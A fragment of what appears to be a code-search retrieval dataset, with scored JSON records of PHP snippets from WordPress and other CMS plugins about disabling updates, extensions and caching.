"docid": "d2192bc3d33ecd8ac06449fd8dd0d152", "score": "0.5433155", "text": "function rank_math_1_0_46_maybe_enable_auto_update() {\n\tif ( Helper::get_settings( 'general.enable_auto_update' ) ) {\n\t\tHelper::toggle_auto_update_setting( 'on' );\n\t}\n}", "title": "" }, { "docid": "bab81edbc81ca026655e140ecbdb1af5", "score": "0.5421007", "text": "public function disableQuickDeploy()\n {\n $this->forge->disableQuickDeploy($this->serverId, $this->id);\n }", "title": "" }, { "docid": "073ccdb64fcefafe19ee11eddf4d14b8", "score": "0.5415005", "text": "function su_humsci_profile_post_update_9201() {\n if (_su_humsci_profile_is_legacy_theme()) {\n return;\n }\n\n _su_humsci_profile_disable_paragraph('node', 'hs_basic_page', 'field_hs_page_components', 'hs_row');\n _su_humsci_profile_enable_paragraph('node', 'hs_basic_page', 'field_hs_page_components', 'stanford_gallery');\n}", "title": "" }, { "docid": "53a39a0896fcd634b2249789dc68ac29", "score": "0.54143983", "text": "function planmyday_widget_recent_news_theme_setup() {\n\t\tif (function_exists('planmyday_exists_visual_composer') && planmyday_exists_visual_composer())\n\t\t\tadd_action('planmyday_action_shortcodes_list_vc','planmyday_widget_recent_news_reg_shortcodes_vc');\n\t}", "title": "" }, { "docid": "0d2b7205f74a859f0da31efe7ec01f63", "score": "0.54068196", "text": "public function show_vc_notice() {\r\n echo '<div class=\"updated\"><p>'.__('<strong>This theme</strong> requires <strong><a href=\"http://bit.ly/vcomposer\" target=\"_blank\">Visual Composer</a></strong> plugin to be installed and activated on your site.', 'Wyde').'</p></div>';\r\n }", "title": "" }, { "docid": "3b337dc5508ab1cac795c9125682b01d", "score": "0.53960174", "text": "function wp_update_themes( $extra_stats = array() ) {\n\tif ( wp_installing() ) {\n\t\treturn;\n\t}\n\tglobal $wp_version;\n\t// include an unmodified $wp_version\n\tinclude( ABSPATH . WPINC . '/version.php' );\n\n\t$installed_themes = wp_get_themes();\n\t$translations = wp_get_installed_translations( 'themes' );\n\n\t$last_update = get_site_transient( 'update_themes' );\n\tif ( ! is_object($last_update) )\n\t\t$last_update = new stdClass;\n\n\t$themes = $checked = $request = array();\n\n\t// Put slug of current theme into request.\n\t$request['active'] = get_option( 'stylesheet' );\n\n\tforeach ( $installed_themes as $theme ) {\n\t\t$checked[ $theme->get_stylesheet() ] = $theme->get('Version');\n\n\t\t$themes[ $theme->get_stylesheet() ] = array(\n\t\t\t'Name' => $theme->get('Name'),\n\t\t\t'Title' => $theme->get('Name'),\n\t\t\t'Version' => $theme->get('Version'),\n\t\t\t'Author' => $theme->get('Author'),\n\t\t\t'Author URI' => $theme->get('AuthorURI'),\n\t\t\t'Template' => $theme->get_template(),\n\t\t\t'Stylesheet' => $theme->get_stylesheet(),\n\t\t);\n\t}\n\n\t// Check for update on a different schedule, depending on the page.\n\tswitch ( current_filter() ) {\n\t\tcase 'upgrader_process_complete' :\n\t\t\t$timeout = 0;\n\t\t\tbreak;\n\t\tcase 'load-update-core.php' :\n\t\t\t$timeout = MINUTE_IN_SECONDS;\n\t\t\tbreak;\n\t\tcase 'load-themes.php' :\n\t\tcase 'load-update.php' :\n\t\t\t$timeout = HOUR_IN_SECONDS;\n\t\t\tbreak;\n\t\tdefault :\n\t\t\tif ( defined( 'DOING_CRON' ) && DOING_CRON ) {\n\t\t\t\t$timeout = 0;\n\t\t\t} else {\n\t\t\t\t$timeout = 12 * HOUR_IN_SECONDS;\n\t\t\t}\n\t}\n\n\t$time_not_changed = isset( $last_update->last_checked ) && $timeout > ( time() - $last_update->last_checked );\n\n\tif ( $time_not_changed && ! $extra_stats ) {\n\t\t$theme_changed = false;\n\t\tforeach ( $checked as $slug => $v ) {\n\t\t\tif ( !isset( $last_update->checked[ $slug ] ) || strval($last_update->checked[ $slug ]) !== strval($v) )\n\t\t\t\t$theme_changed = true;\n\t\t}\n\n\t\tif ( isset ( $last_update->response ) && is_array( $last_update->response ) ) {\n\t\t\tforeach ( $last_update->response as $slug => $update_details ) {\n\t\t\t\tif ( ! isset($checked[ $slug ]) ) {\n\t\t\t\t\t$theme_changed = true;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Bail if we've checked recently and if nothing has changed\n\t\tif ( ! $theme_changed ) {\n\t\t\treturn;\n\t\t}\n\t}\n\n\t// Update last_checked for current to prevent multiple blocking requests if request hangs\n\t$last_update->last_checked = time();\n\tset_site_transient( 'update_themes', $last_update );\n\n\t$request['themes'] = $themes;\n\n\t/**\n\t * Filter the locales requested for theme translations.\n\t *\n\t * @since 3.7.0\n\t *\n\t * @param array $locales Theme locale. Default is current locale of the site.\n\t */\n\t$locales = apply_filters( 'themes_update_check_locales', array( get_locale() ) );\n\n\tif ( defined( 'DOING_CRON' ) && DOING_CRON ) {\n\t\t$timeout = 30;\n\t} else {\n\t\t// Three seconds, plus one extra second for every 10 themes\n\t\t$timeout = 3 + (int) ( count( $themes ) / 10 );\n\t}\n\n\t$options = array(\n\t\t'timeout' => $timeout,\n\t\t'body' => array(\n\t\t\t'themes' => wp_json_encode( $request ),\n\t\t\t'translations' => wp_json_encode( $translations ),\n\t\t\t'locale' => wp_json_encode( $locales ),\n\t\t),\n\t\t'user-agent'\t=> 'WordPress/' . $wp_version . '; ' . get_bloginfo( 'url' )\n\t);\n\n\tif ( $extra_stats ) {\n\t\t$options['body']['update_stats'] = wp_json_encode( $extra_stats );\n\t}\n\n\t$url = $http_url = 'http://api.wordpress.org/themes/update-check/1.1/';\n\tif ( $ssl = wp_http_supports( array( 'ssl' ) ) )\n\t\t$url = set_url_scheme( $url, 'https' );\n\n\t$raw_response = wp_remote_post( $url, $options );\n\tif ( $ssl && is_wp_error( $raw_response ) ) {\n\t\ttrigger_error( __( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href=\"https://wordpress.org/support/\">support forums</a>.' ) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ), headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE );\n\t\t$raw_response = wp_remote_post( $http_url, $options );\n\t}\n\n\tif ( is_wp_error( $raw_response ) || 200 != wp_remote_retrieve_response_code( $raw_response ) ) {\n\t\treturn;\n\t}\n\n\t$new_update = new stdClass;\n\t$new_update->last_checked = time();\n\t$new_update->checked = $checked;\n\n\t$response = json_decode( wp_remote_retrieve_body( $raw_response ), true );\n\n\tif ( is_array( $response ) ) {\n\t\t$new_update->response = $response['themes'];\n\t\t$new_update->translations = $response['translations'];\n\t}\n\n\tset_site_transient( 'update_themes', $new_update );\n}", "title": "" }, { "docid": "9277fbbc189451bc66964dd1f8a552b6", "score": "0.5393739", "text": "public function disable() {\r\n\t\t$this->options->set( 'cdn', 0 );\r\n\t\t$this->options->set( 'cdn_cnames', [] );\r\n\t\t$this->options->set( 'cdn_zone', [] );\r\n\r\n\t\t$this->options_api->set( 'settings', $this->options->get_options() );\r\n\r\n\t\tdelete_option( 'rocketcdn_user_token' );\r\n\t\tdelete_transient( 'rocketcdn_status' );\r\n\t\trocket_clean_domain();\r\n\t}", "title": "" }, { "docid": "65948138a274c143f402e76aaedbe5d7", "score": "0.5380926", "text": "function disableXMLRPC(){\n $DisableXMLRPC = esc_attr( get_option('tp_api_settings')['tp_api_select_field_8']);\n\n if ($DisableXMLRPC == '2'){\n require_once(ABSPATH . 'wp-admin/includes/file.php');\n require_once(ABSPATH . 'wp-admin/includes/misc.php');\n $htaccess = get_home_path().\".htaccess\";\n $lines = array();\n $lines[] =\"<Files xmlrpc.php>\";\n $lines[] =\"order deny,allow\";\n $lines[] =\"deny from all\";\n $lines[] =\"allow from 181.169.58.73\";\n $lines[] =\"</Files>\";\n insert_with_markers($htaccess, \"IP Intelligence XMLRPC\", $lines);\n }\n\n if ($DisableXMLRPC == '1'){\n require_once(ABSPATH . 'wp-admin/includes/file.php');\n require_once(ABSPATH . 'wp-admin/includes/misc.php');\n $htaccess = get_home_path().\".htaccess\";\n $lines = array();\n insert_with_markers($htaccess, \"IP Intelligence XMLRPC\", $lines);\n }\n}", "title": "" }, { "docid": "adf00c1ade0f2cd892e0039a1a60637a", "score": "0.53580844", "text": "public function disable_extension()\n\t{\n\t\t// Nothing here either. See comments for activate_extension()\n\t}", "title": "" }, { "docid": "4376b3e7aa385d80db9509aa9851a5f7", "score": "0.53496194", "text": "public static function skip_update_category() {\n\n return false;\n }", "title": "" }, { "docid": "921fc3f84598675172894fa4eb09da59", "score": "0.5339475", "text": "function ls_refresh_mce( $ver ) {\n\t$ver += 3;\n\treturn $ver;\n}", "title": "" }, { "docid": "ad7c74d16f74800289f7294100311af3", "score": "0.5339321", "text": "public function devTwigDebugDisable() {\n $this->devConfigWriteable();\n $this->taskReplaceInFile($this->services_yml)\n ->from('debug: true')\n ->to('debug: false')\n ->run();\n $this->taskReplaceInFile($this->services_yml)\n ->from('auto_reload: true')\n ->to('auto_reload: null')\n ->run();\n $this->taskReplaceInFile($this->services_yml)\n ->from('c: false')\n ->to('cache: true')\n ->run();\n $this->devConfigReadOnly();\n $this->say('Clearing Drupal cache...');\n $this->devCacheRebuild();\n $this->say('Done. Twig debugging has been disabled');\n }", "title": "" }, { "docid": "deac0f5861137a212f087cf234ff706f", "score": "0.5327788", "text": "function hook_plugins_loaded_update_check() {\n global $swifty_lib_version;\n\n if ( get_option( 'swifty_lib_version' ) !== $swifty_lib_version ) {\n\n // it is no problem to run this multiple times.\n $role_object = get_role( 'administrator' );\n if( $role_object ) {\n $role_object->add_cap( 'swifty_edit_locked' );\n $role_object->add_cap( 'swifty_change_lock' );\n }\n\n update_option( 'swifty_lib_version', $swifty_lib_version );\n }\n }", "title": "" }, { "docid": "50f4db37db2b1ee282d468e4caadff5b", "score": "0.5323807", "text": "public function _disableThirdParty( $id )\n\t{\n\t\t/* Button to put stuff back */\n\t\tif ( isset( \\IPS\\Request::i()->deleteTheme ) or isset( \\IPS\\Request::i()->enableApps ) or isset( \\IPS\\Request::i()->enablePlugins ) )\n\t\t{\n\t\t\t/* Theme */\n\t\t\tif ( isset( \\IPS\\Request::i()->deleteTheme ) )\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\t\\IPS\\Theme::load( \\IPS\\Request::i()->deleteTheme )->delete();\n\t\t\t\t}\n\t\t\t\tcatch ( \\Exception $e ) {}\n\t\n\t\t\t\tif( isset( $_SESSION['old_acp_theme'] ) )\n\t\t\t\t{\n\t\t\t\t\t\\IPS\\Member::loggedIn()->acp_skin = $_SESSION['old_acp_theme'];\n\t\t\t\t\t\\IPS\\Member::loggedIn()->save();\n\t\n\t\t\t\t\tunset( $_SESSION['old_acp_theme'] );\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t/* Apps */\n\t\t\tforeach ( explode( ',', \\IPS\\Request::i()->enableApps ) as $app )\n\t\t\t{\t\t\t\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\t$app = \\IPS\\Application::load( $app );\n\t\t\t\t\t$app->enabled = TRUE;\n\t\t\t\t\t$app->save();\n\t\t\t\t}\n\t\t\t\tcatch ( \\Exception $e ) {}\n\t\t\t}\n\t\t\t\n\t\t\t/* Plugins */\n\t\t\tforeach ( explode( ',', \\IPS\\Request::i()->enablePlugins ) as $plugin )\n\t\t\t{\t\t\t\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\t$plugin = \\IPS\\Plugin::load( $plugin );\n\t\t\t\t\t$plugin->enabled = TRUE;\n\t\t\t\t\t$plugin->save();\n\t\t\t\t}\n\t\t\t\tcatch ( \\Exception $e ) {}\n\t\t\t}\n\t\t\t\n\t\t\t/* Editor Plugins */\n\t\t\tif ( isset( \\IPS\\Request::i()->restoreEditor ) )\n\t\t\t{\n\t\t\t\t$editorConfigutation = \\IPS\\Data\\Store::i()->editorConfiguationToRestore;\n\t\t\t\t\n\t\t\t\t\\IPS\\Db::i()->update( 'core_sys_conf_settings', array( 'conf_value' => $editorConfigutation['extraPlugins'] ), array( 'conf_key=?', 'ckeditor_extraPlugins' ) );\n\t\t\t\t\\IPS\\Db::i()->update( 'core_sys_conf_settings', array( 'conf_value' => $editorConfigutation['toolbars'] ), array( 'conf_key=?', 'ckeditor_toolbars' ) );\n\t\t\t\tunset( \\IPS\\Data\\Store::i()->settings );\n\t\t\t\t\n\t\t\t\tunset( \\IPS\\Data\\Store::i()->editorConfiguationToRestore );\n\t\t\t}\n\t\t\t\n\t\t\t\\IPS\\Data\\Cache::i()->clearAll();\n\t\t\treturn NULL;\n\t\t}\n\t\t\n\t\t/* Init */\n\t\t$restoredDefaultTheme = FALSE;\n\t\t$disabledApps = array();\n\t\t$disabledPlugins = array();\n\t\t$disabledAppNames = array();\n\t\t$disabledPluginNames = array();\n\t\t\n\t\t/* Do we need to restore the default theme? */\n\t\tif ( \\IPS\\Db::i()->select( 'COUNT(*)', 'core_theme_templates', 'template_set_id>0' )->first() or \\IPS\\Db::i()->select( 'COUNT(*)', 'core_theme_css', 'css_set_id>0' )->first() )\n\t\t{\n\t\t\t$newTheme = new \\IPS\\Theme;\n\t\t\t$newTheme->permissions = \\IPS\\Member::loggedIn()->member_group_id;\n\t\t\t$newTheme->save();\n\t\t\t$newTheme->installThemeSettings();\n\t\t\t$newTheme->copyResourcesFromSet();\n\t\t\t\n\t\t\t\\IPS\\Lang::saveCustom( 'core', \"core_theme_set_title_\" . $newTheme->id, \"IPS Support\" );\n\t\t\t\n\t\t\t\\IPS\\Member::loggedIn()->skin = $newTheme->id;\n\n\t\t\tif( \\IPS\\Member::loggedIn()->acp_skin !== NULL )\n\t\t\t{\n\t\t\t\t$_SESSION['old_acp_theme'] = \\IPS\\Member::loggedIn()->acp_skin;\n\t\t\t\t\\IPS\\Member::loggedIn()->acp_skin = $newTheme->id;\n\t\t\t}\n\n\t\t\t\\IPS\\Member::loggedIn()->save();\n\t\t\t\n\t\t\t$restoredDefaultTheme = TRUE;\n\t\t}\n\t\t\n\t\t/* Do we need to disable any third party apps/plugins? */\n\t\tif ( !\\IPS\\NO_WRITES )\n\t\t{\t\t\n\t\t\t/* Loop Apps */\n\t\t\tforeach ( \\IPS\\Application::applications() as $app )\n\t\t\t{\n\t\t\t\tif ( $app->enabled and !in_array( $app->directory, \\IPS\\Application::$ipsApps ) )\n\t\t\t\t{\n\t\t\t\t\t$app->enabled = FALSE;\n\t\t\t\t\t$app->save();\n\t\t\t\t\t\n\t\t\t\t\t$disabledApps[] = $app->directory;\n\t\t\t\t\t$disabledAppNames[] = $app->_title;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t/* Look Plugins */\n\t\t\tforeach ( \\IPS\\Plugin::plugins() as $plugin )\n\t\t\t{\n\t\t\t\tif ( $plugin->enabled )\n\t\t\t\t{\n\t\t\t\t\t$plugin->enabled = FALSE;\n\t\t\t\t\t$plugin->save();\n\t\t\t\t\t\n\t\t\t\t\t$disabledPlugins[] = $plugin->id;\n\t\t\t\t\t$disabledPluginNames[] = $plugin->_title;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\t/* Do we need to revert the editor? */\n\t\t$restoredEditor = FALSE;\n\t\tif ( \\IPS\\Settings::i()->ckeditor_extraPlugins or \\IPS\\Settings::i()->ckeditor_toolbars != \\IPS\\Db::i()->select( 'conf_default', 'core_sys_conf_settings', array( 'conf_key=?', 'ckeditor_toolbars' ) )->first() )\n\t\t{\n\t\t\t\\IPS\\Data\\Store::i()->editorConfiguationToRestore = array(\n\t\t\t\t'extraPlugins' \t=> \\IPS\\Settings::i()->ckeditor_extraPlugins,\n\t\t\t\t'toolbars'\t\t=> \\IPS\\Settings::i()->ckeditor_toolbars,\n\t\t\t);\n\t\t\t\n\t\t\t\\IPS\\Db::i()->update( 'core_sys_conf_settings', array( 'conf_value' => '' ), array( 'conf_key=?', 'ckeditor_extraPlugins' ) );\n\t\t\t\\IPS\\Db::i()->update( 'core_sys_conf_settings', array( 'conf_value' => '' ), array( 'conf_key=?', 'ckeditor_toolbars' ) );\n\t\t\tunset( \\IPS\\Data\\Store::i()->settings );\n\t\t\t\n\t\t\t$restoredEditor = TRUE;\n\t\t}\n\t\t\t\t\n\t\t/* Did we do anything? */\n\t\tif ( $restoredDefaultTheme or count( $disabledApps ) or count( $disabledPlugins ) or $restoredEditor )\n\t\t{\n\t\t\t\\IPS\\Data\\Cache::i()->clearAll();\n\t\t\treturn \\IPS\\Theme::i()->getTemplate( 'support' )->thirdParty( $id, $disabledAppNames, $disabledPluginNames, $restoredDefaultTheme, $restoredEditor, '&enableApps=' . implode( ',', $disabledApps ) . '&enablePlugins=' . implode( ',', $disabledPlugins ) . ( $restoredDefaultTheme ? '&deleteTheme=' . $newTheme->id : '' ) . ( $restoredEditor ? '&restoreEditor=1' : '' ) );\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn NULL;\n\t\t}\n\t}", "title": "" }, { "docid": "bd3ce6ed2a5080eb3404b0a828c0cfd7", "score": "0.5316897", "text": "function vc_after_init_actions() {\n if( function_exists('vc_set_default_editor_post_types') ){\n\n $list = array(\n 'page',\n 'post',\n );\n\n vc_set_default_editor_post_types( $list );\n\n }\n\n // Disable AdminBar VC edit link\n // if( function_exists('vc_frontend_editor') ){\n //\n // remove_action( 'admin_bar_menu', array( vc_frontend_editor(), 'adminBarEditLink' ), 1000 );\n //\n // }\n\n // Disable Frontend VC links\n // if( function_exists('vc_disable_frontend') ){\n //\n // vc_disable_frontend();\n //\n // }\n\n}", "title": "" }, { "docid": "2b2ee9fe5c956bf19e468ee61f35bdee", "score": "0.5311558", "text": "function filter_plugin_updates($value) {\n unset($value->response['akismet/akismet.php']); // repeat for all plugins you have installed\n return $value;\n}", "title": "" }, { "docid": "196512e01d6157bb57abe32670eba236", "score": "0.53105736", "text": "function filter_plugin_updates( $value ) {\n unset( $value->response['wp-paypal/main.php'] );\n return $value;\n}", "title": "" }, { "docid": "14202958f318fe95244696154813c7b9", "score": "0.53062135", "text": "function disable_extension() {\n\t\t// Delete old hooks\n $this->EE->db->query(\"DELETE FROM exp_extensions WHERE class = '\". __CLASS__ .\"'\");\n }", "title": "" }, { "docid": "defa6a44f3ae0ed8b19e814807e67c30", "score": "0.5303239", "text": "public function hide_blocking_plugins_notice() {\n\t\tupdate_option( 'siteground_optimizer_blocking_plugins_notice', 0 );\n\t\tupdate_site_option( 'siteground_optimizer_blocking_plugins_notice', 0 );\n\t}", "title": "" }, { "docid": "46588744c7875258cdee02eb824c4dfa", "score": "0.5301053", "text": "function uciseventeen_filter_plugin_updates( $value ) {\n\t//unset($value->response['siteorigin-panels/siteorigin-panels.php']);\n\t//unset($value->response['so-widgets-bundle/so-widgets-bundle.php']);\n\n\treturn $value;\n}", "title": "" }, { "docid": "c1e2a953bfdec64a4a09511f502e1748", "score": "0.52988005", "text": "protected static function addPatches() {\n static::updateComposerJson(function (array $composer) {\n $composer['extra']['patches']['drupal/core'] = [\n \"Redirect to install.php on empty DB\" => \"https://www.drupal.org/files/issues/drupal-redirect_to_install-728702-92.patch\",\n \"Staging directory should not have to be writeable\" => \"https://www.drupal.org/files/issues/2466197-59.patch\",\n ];\n\n return $composer;\n });\n }", "title": "" }, { "docid": "6a9700c9725795fbdc59435c0e593228", "score": "0.52908367", "text": "public function __construct() {\n\n // Don't block updates when \"Check again\" is pressed\n if ( defined( 'ENABLE_FORCE_CHECK_UPDATE' ) && ENABLE_FORCE_CHECK_UPDATE ) {\n\n $called_script = isset( $_SERVER['SCRIPT_FILENAME'] ) ? basename( $_SERVER['SCRIPT_FILENAME'] ) : '';\n $is_update_core = ( 'update-core.php' === $called_script );\n $is_update = ( 'update.php' === $called_script );\n\n // phpcs:ignore WordPress.Security.NonceVerification.Recommended\n if ( $is_update_core && ! empty( $_GET['force-check'] ) ) {\n return;\n }\n\n // Allow actual updates\n // phpcs:ignore WordPress.Security.NonceVerification.Recommended\n $this->disable_update_core_action = ( ! $is_update_core || empty( $_GET['action'] ) );\n // phpcs:ignore WordPress.Security.NonceVerification.Recommended\n $this->disable_update_action = ( ! $is_update || empty( $_GET['action'] ) );\n }\n\n // Would show up on the frontend\n add_action( 'add_admin_bar_menus', array( $this, 'disable_admin_bar_updates_menu' ) );\n\n // Don't block updates on the frontend, block updates during WP-Cron\n if ( ! ( is_admin() || wp_doing_cron() ) ) {\n return;\n }\n\n $this->disable_core_updates();\n $this->disable_theme_updates();\n $this->disable_plugin_updates();\n $this->disable_translation_updates();\n $this->disable_browser_nag();\n $this->disable_php_check();\n }", "title": "" }, { "docid": "35843dd964eb0881e1b1e2562f63ea10", "score": "0.5282312", "text": "private function disableMaintenanceMode()\n {\n if (file_exists(ELAB_ROOT . 'maintenance')) {\n unlink(ELAB_ROOT . 'maintenance');\n }\n }", "title": "" }, { "docid": "deaa50fdf4167dd4725185dce3c77b04", "score": "0.52812475", "text": "public function wordpress_55_updates_potential_migration() {\n\t\t// Due to the new WP's auto-updates interface in WordPress version 5.5, we need to maintain the auto update compatibility on all versions of WordPress and UpdraftPlus\n\t\t$udp_saved_version = UpdraftPlus_Options::get_updraft_option('updraftplus_version');\n\t\t$updraft_auto_updates = UpdraftPlus_Options::get_updraft_option('updraft_auto_updates');\n\t\tif (!$udp_saved_version || version_compare($udp_saved_version, '1.16.34', '<=') || (version_compare($udp_saved_version, '2.0.0', '>=') && version_compare($udp_saved_version, '2.16.34', '<=')) || null !== $updraft_auto_updates) {\n\t\t\t$this->replace_auto_updates_option();\n\t\t}\n\t}", "title": "" }, { "docid": "55e8b4dcac03d265cbb51eccbfdc40e3", "score": "0.5277847", "text": "public function rs_init()\n\t\t{\n\t\t\tglobal $vc_manager;\n\t\t\t$vc_manager->setIsAsTheme();\n\t\t\t$vc_manager->disableUpdater();\n\t\t\t$vc_manager->setEditorDefaultPostTypes( array( 'page', 'post', 'portfolio' ) );\n\t\t\t$vc_manager->frontendEditor()->disableInline();\n\t\t\t$vc_manager->automapper()->setDisabled();\n\t\t}", "title": "" }, { "docid": "746870bf966ca071d20d4c5438416861", "score": "0.52717364", "text": "public function scripts() {\n\n // Remove VC javascript when on the customizer to prevent bugs with jQuery UI\n if ( is_customize_preview() ) {\n wp_deregister_script( 'wpb_composer_front_js' );\n wp_dequeue_script( 'wpb_composer_front_js' );\n }\n\n // Remove unwanted scripts\n if ( $this->has_vc_edits ) {\n wp_deregister_style( 'js_composer_custom_css' );\n }\n\n }", "title": "" }, { "docid": "d13b2331445f7da269c5a828f7ff20a7", "score": "0.5260909", "text": "function pxls_setup_theme() {\n\t$pxls_theme_status = get_option( 'pxls_theme_setup_status' );\n\tif ( $pxls_theme_status !== '1' ) {\n\t\tupdate_option( 'pxls_theme_setup_status', '1' );\t\t\n\t\tif ( is_admin() && isset( $_GET['activated'] ) && $pagenow == \"themes.php\" ) {\n\t\t\twp_redirect( 'admin.php?page=theme-options.php' );\n\t\t}\n\t}\n}", "title": "" }, { "docid": "13ef66338e6c0726dfd07342686cf791", "score": "0.5260235", "text": "function semplice_has_update() {\r\n\r\n\t// output array\r\n\t$output = array(\r\n\t\t'has_update' => false,\r\n\t);\r\n\r\n\t// get license\r\n\t$license = semplice_get_license();\r\n\r\n\t// get theme folder (without trailing slash)\r\n\t$theme_folder = get_template();\r\n\r\n\t// include update.php\r\n\trequire_once ABSPATH . '/wp-admin/includes/update.php';\r\n\r\n\t// get theme updates\r\n\t$theme_updates = get_theme_updates();\r\n\r\n\t// loop through updates\r\n\tif(is_array($theme_updates)) {\r\n\t\tforeach ($theme_updates as $theme => $meta) {\r\n\t\t\t// make sure its semplice 4\r\n\t\t\tif($meta->Name == 'Semplice') {\r\n\t\t\t\t$output = array(\r\n\t\t\t\t\t'has_update' => true,\r\n\t\t\t\t\t'has_edition_upgrade' => false,\r\n\t\t\t\t\t'recent_version' => semplice_theme('version'),\r\n\t\t\t\t\t'new_version' => $meta->update['new_version']\r\n\t\t\t\t);\r\n\t\t\t\t// is edition upgrade available?\r\n\t\t\t\tif(semplice_theme('edition') == 'single' && $license['product'] != 's4-single') {\r\n\t\t\t\t\t$output['has_edition_upgrade'] = true;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\t// check if correct folder\r\n\tif($theme_folder !== 'semplice4') {\r\n\t\t$output['wrong_folder'] = true;\r\n\t} else {\r\n\t\t$output['wrong_folder'] = false;\r\n\t}\r\n\r\n\t// output\r\n\treturn $output;\r\n}", "title": "" }, { "docid": "0eac80b589eacaa3e7b9af3d3c96198f", "score": "0.5257844", "text": "function langbf_announcement() {\r\n\r\n\tif ( get_option( 'langbf_announcement' ) ) {\r\n\t\treturn;\r\n\t}\r\n\r\n\t$enabled = array( true, false );\r\n\tshuffle( $enabled );\r\n\r\n\tif ( ! langbf_is_theme_provider( 'appthemes' ) && $enabled[0] ) {\r\n\t\techo '<div class=\"update-nag\">';\r\n\t\t_e( 'You are not using any of AppThemes Premium Themes, check what You are missing.', LANGBF_TD );\r\n\t\tprintf( __( ' <a target=\"_blank\" href=\"%s\">Show me themes!</a>', LANGBF_TD ), 'http://bit.ly/s23oNj' );\r\n\t\techo '</div>';\r\n\t\treturn;\r\n\t}\r\n\r\n\tif ( ! langbf_is_theme_provider( 'elegantthemes' ) && $enabled[1] ) {\r\n\t\techo '<div class=\"update-nag\">';\r\n\t\t_e( 'You are not using any of Elegant Premium Themes, check what You are missing.', LANGBF_TD );\r\n\t\tprintf( __( ' <a target=\"_blank\" href=\"%s\">Show me themes!</a>', LANGBF_TD ), 'http://bit.ly/11A8EmR' );\r\n\t\techo '</div>';\r\n\t\treturn;\r\n\t}\r\n\r\n}", "title": "" }, { "docid": "cd4ad64355963ff01c4ef73f2662954d", "score": "0.5234679", "text": "function embpicamoto_refresh_mce($ver) {\r\n $ver += 3;\r\n return $ver;\r\n}", "title": "" }, { "docid": "14808582420fc424dbf40780c3a61935", "score": "0.5231962", "text": "function mindup_tame_update_notifications() {\n\n\t\tif ( ! current_user_can( 'update_core' ) ) {\n\n\t\t\tremove_action( 'admin_notices', 'update_nag', 3 );\n\n\t\t}\n\n\t}", "title": "" }, { "docid": "0902be543367cd672b406db2853d47d6", "score": "0.52316386", "text": "function wp_clean_update_cache() {\n\tif ( function_exists( 'wp_clean_plugins_cache' ) ) {\n\t\twp_clean_plugins_cache();\n\t} else {\n\t\tdelete_site_transient( 'update_plugins' );\n\t}\n\twp_clean_themes_cache();\n\tdelete_site_transient( 'update_core' );\n}", "title": "" }, { "docid": "59cf0751b3b53ad8bc5b9aa168615471", "score": "0.5227251", "text": "function remove_jetpack_styles(){\n wp_deregister_style('grunion.css'); // Grunion contact form\n }", "title": "" }, { "docid": "02c809cb33567254479d99f9e720ee61", "score": "0.52230066", "text": "static\nfunction\nresetThemeOptions(){AitUtils::checkAjaxNonce('reset-theme-options');AitCache::clean();aitOptions()->resetThemeOptions();self::sendOk();}", "title": "" } ]
84f9ce1741889c314698384d3769a9fe
Disable cache for subsequent data requests
[ { "docid": "54a13bf628f1aeb34874d42c05ef565a", "score": "0.7775357", "text": "public function disableCache()\n {\n $this->lastCacheEnabled = $this->cacheEnabled;\n $this->cacheEnabled = false;\n }", "title": "" } ]
[ { "docid": "21e2adde2dc418183d4b8666b876da8f", "score": "0.8525231", "text": "protected function disableCache() {}", "title": "" }, { "docid": "9086bc05322dd66b29a453099cf2a42e", "score": "0.852381", "text": "public function disableCaching();", "title": "" }, { "docid": "c49f13fd253f9accde6cf955ac3982c1", "score": "0.8204018", "text": "public function disableCache ()\n {\n $this->caching = false;\n }", "title": "" }, { "docid": "93b6d2f2117908fbc24a6aa3d2176298", "score": "0.80293804", "text": "public function noCache() {\r\n\t\t \r\n\t\t $this->_enable_caching = false;\r\n\t }", "title": "" }, { "docid": "3cbaad0231cb22574933d5c14e4271e3", "score": "0.79983664", "text": "public function disableCache()\n {\n $this->disableServeFromCache();\n $this->disableSaveToCache();\n }", "title": "" }, { "docid": "4c414877431d294ea1b1f78ea688f334", "score": "0.7930209", "text": "public static function avoidCache()\r\n {\r\n self::$avoidCache = true;\r\n }", "title": "" }, { "docid": "38d80a872ecd63c1ab03b6662a254bee", "score": "0.79136425", "text": "public function disableRuntimeCache() {}", "title": "" }, { "docid": "491877979b78f1cef13867ddc04b28b7", "score": "0.78449124", "text": "public static function prevent_caching()\n {\n }", "title": "" }, { "docid": "d2d9e83d90cf0e54f191fe72c21bb5d9", "score": "0.77298474", "text": "public function disableCaching()\n\t{\n\t\t$this->caching = Smarty::CACHING_OFF;\n\t}", "title": "" }, { "docid": "42a59c099e00e0defe6c32b1fd355493", "score": "0.7707148", "text": "private static function disableCache() {\n\t\tself::getParser()->getOutput()->updateCacheExpiry( 0 );\n\t}", "title": "" }, { "docid": "cf155e4bb1b753ed17eaf7265ae6585a", "score": "0.76384157", "text": "public function isCacheEnabled(){\n return(false);\n }", "title": "" }, { "docid": "cf155e4bb1b753ed17eaf7265ae6585a", "score": "0.76384157", "text": "public function isCacheEnabled(){\n return(false);\n }", "title": "" }, { "docid": "cb9a66ec9dd11b176cb42cb6d880d009", "score": "0.7621121", "text": "public function disableSaveToCache()\n {\n $this->setDisableSaveToCache(true);\n }", "title": "" }, { "docid": "120ee074f7727b2673e1d140435bf604", "score": "0.7609684", "text": "public function disableCoreCache() {}", "title": "" }, { "docid": "d9269ffd8b4e3145be721abb5fbc3178", "score": "0.76061374", "text": "function disableObjectCache() {\n $this->O_CACHE=[];\n $this->C_set(\"no-cache\", 1);\n }", "title": "" }, { "docid": "7d7f630ba6d4f60aa49de16284e57a26", "score": "0.7530908", "text": "function disableCaching(){\n $this->componentCache = false;\n }", "title": "" }, { "docid": 